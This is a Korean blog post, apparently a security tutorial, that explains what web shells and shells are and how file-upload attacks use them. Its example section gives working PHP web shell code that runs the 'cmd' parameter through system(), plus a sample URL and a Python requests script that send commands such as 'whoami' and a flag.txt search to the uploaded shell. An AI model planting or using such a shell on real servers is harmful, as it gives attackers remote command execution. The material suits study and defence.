정의
웹쉘(Web Shell)은 웹 기반 인터페이스를 통해 원격으로 웹 서버를 제어하기 위해 사용되는 애플리케이션 또는 스크립트입니다.
웹쉘은 다양한 형태와 기능을 갖춘 다양한 버전이 존재하며, 일반적으로 PHP, ASP, JSP 등 다양한 웹 언어로 작성될 수 있습니다. 웹쉘을 이용하면 사용자는 웹 서버의 파일 시스템 탐색, 명령 실행, 데이터베이스 액세스 등 다양한 시스템 작업을 수행할 수 있습니다.
해킹에서의 웹쉘
웹쉘은 공격자가 웹 서버에 액세스하기 위해 사용되는 도구로서 악의적인 목적으로 사용될 수 있습니다. 웹 서버에 악성 스크립트를 업로드하고 실행하여 공격자가 원격으로 시스템 명령을 실행하고 제어할 수 있게 합니다. 즉, 웹사이트를 통해 쉘(shell)을 열게하여, 웹에서 받은 요청을 운영체제에 요청할수 있게 만드는 것입니다.
정상적인 용도로 사용되는 웹쉘도 존재하지만, 웹쉘은 대부분 악용될 가능성이 크기 때문에, 웹 애플리케이션 개발자와 관리자는 웹쉘의 악용을 방지하기 위해 보안 조치와 취약점 분석을 수행해야 합니다.
보통 파일 업로드 공격을 웹쉘공격이라고 부릅니다.
쉘이란
컴퓨터 사용자와 운영 체제(OS) 사이에서 상호작용하기 위한 인터페이스입니다.
쉘은 텍스트 기반으로 명령어를 입력하고 실행할 수 있는 환경을 제공합니다.
일반적으로 Unix 및 Linux 시스템에서는 Bash(Bourne Again SHell)가 널리 사용되고, Windows 시스템에서는 Command Prompt나 PowerShell이 사용됩니다.
예제
php web shell code
아래 코드가 담긴 php파일을 업로드 한후, 파일이 업로드된 경로를 찾아내어, 피라미터cmd를 삽입
<?php echo system($_GET['cmd']);?>
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}
?>
example.com/files/webshell.php?cmd=find+../../../../+-name+"flag.txt"
import requests
payload = {
'cmd': 'whoami'
}
response = requests.get('<example.com/files/webshell.php?cmd=find+../../../../+-name+"flag.txt">', params=payload)
print(response.text)
'old > Cyber Security' 카테고리의 다른 글
파일 업로드 공격 치트시트 (0) | 2023.08.21 |
---|---|
사이버 보안: File Upload 파일 업로드란 (0) | 2023.08.21 |
웹 해킹 예제: 세션 고정 공격 (0) | 2023.08.17 |
웹 해킹 예제: 인증과 인가 취약점_CTF: 로그인 우회하기 (0) | 2023.08.05 |
웹 해킹 예제: 인증과 인가 취약점_CTF: 미사일 날리기 (0) | 2023.08.05 |